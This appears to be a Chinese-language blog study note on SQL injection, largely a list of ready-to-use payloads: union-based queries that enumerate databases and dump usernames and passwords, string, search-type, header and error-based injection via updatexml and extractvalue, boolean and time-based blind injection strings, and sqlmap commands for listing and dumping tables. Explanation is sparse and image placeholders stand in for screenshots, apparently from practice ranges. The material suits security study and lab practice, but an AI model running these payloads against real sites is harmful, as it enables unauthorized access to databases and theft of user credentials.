sql注入

sql 注入

?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users
url 编码   # = %23  
              % =  %25  
              空格  =  +  
       单引号‘ =  %27  
            )= %29
            ,= %2c
             \  = %5c 

数字型注入

无需“  ”或 ‘ ’

可用  eg:  ?id=5-1  如果执行id=4,说明执行了5-1,存在数字型注入
select name from member where id=1 order by 2    ordey by 可以判断出表中有几个字段
select name,sex  from member where id=1    union  select  user(),database()   union  联合查询,查询字段数量需要与前面一个select 查询的字段数量 个数一致
union select 1,2  ,可凑字段
sql注入_第1张图片
手工注入:
查库名:
union select 1,schema_name from information_schema.schemata limit 0,1
查表名:
union select 1,table_name from information_schema.tables where table_schema = "mysql" limit 0,1
查字段名:
union select 1,column_name from information_schema.columns where table_name = 'user' and table_schema= "mysql" limit 0,1

字符型注入

1' union select 1,2#
1' union select 1,2'
sql注入_第2张图片

搜索型注入

a%' order by 3#
sql注入_第3张图片

靶场xx型注入

') order by 2--+
sql注入_第4张图片

insert/update 注入

sql注入_第5张图片
区别于显错注入,正常情况下网页不会显示任何错误内容,可通过盲注进行注入。但是也可以利用特殊的函数来使数据库报错,将我们要查询的内容通过报错的形式显示出来。
报错注入常用函数:
updatexml()
updatexml()函数作用:改变(查找并替换)XML文档中符合条件的节点的值。
语法:UPDATEXML(xml document,XPathstring,new_value)
第一个参数: filedname是String格式,为表中的字段名。
第二个参数: XPathstring (Xpath格式的字符串)。
第三个参数: new. value,String格式,替换查找到的符合条件的
extractvalue()
extractvalue()函数作用:从目标XML中返回包含所查询值的字符串。
语法: ExtractValue(xm| _document, xpath. string)
第一个参数: XML document是String格式,为XML文档对象的名称,文中为Doc
第二个参数: XPath_ string (Xpath格式的字符串)

delete 注入

sql注入_第6张图片

http header注入

在http 请求文件中,在后加入’或 “ ,进行试错,查出是否存在sql注入
sql注入_第7张图片
sql注入_第8张图片

盲注布尔型

判断是否是布尔型盲注,可以观察页面是否给出反馈,可以构造一个
1' or 1=1#
1' and 1=2#
1') or 1=1#
1") or 1=1#
查看是否有反馈
利用了应用程序在处理查询时返回的布尔(真/假)结果。攻击者通过构造判断语句,并观察应用程序的不同响应来确定查询的真假,由此获取数据。
vince'# (vince 只是一个名字)
vince' and (ascii(substr(database(),1,1)))=112#
所有库名:
vince' and (ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))=115#
表名:
vince' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101#
get请求要进行url编码
或者直接选中  ctrl+u  进行url编码

盲注时间型

通过休眠时间来确定if语句中判断的值是否正确
admin'  or  if(ascii(substr(database(),1,1))>120, sleep(2) , 0 )#
select updatexml(“abc”,"//div/p/text()","abcd")   的意思是把"abc"换成"abcd" ,而服务器要通过xpath路径"//div/p/text()"找到"abc"  。
这时如果xpath路径格式出错了,则会把校验xpath路径后的结果通过报错信息显示出来,如果我们把xpath路径改成我们想知道的信息,结果就会通过报错信息显示出来。

sqlmap的使用

sqlmap -u url --dbs #获取数据库
sqlmap -u url --current-user #获取当前用户名称 :
sqlmap -u url --current-db #获取当前数据库名称
sqlmap -u url -D 数据库名 --tables   #列出表名 : 
sqlmap -u url -D 数据库名 -T 表名 --columns #列出字段 
sqlmap -u url -D 数据库名 -T 表名 -C 字段名1,字段名2,…… --dump #获取字段内容

GET型注入一般用 sqlmap -u url

POST型注入一般用 sqlmap -u url --data POST参数

如果需要增加cookie或其他请求头 可将请求保存到文本中,如request.txt,则用sqlmap -r request.txt(经常配合burpsuite使用,直接将请求包保存到文件,然后使用sqlmap -r 来进行sql注入)

--level 5  探测等级(1~5 默认为1,等级越高Payload越多,速度也比较慢)

你可能感兴趣的:(sql,数据库)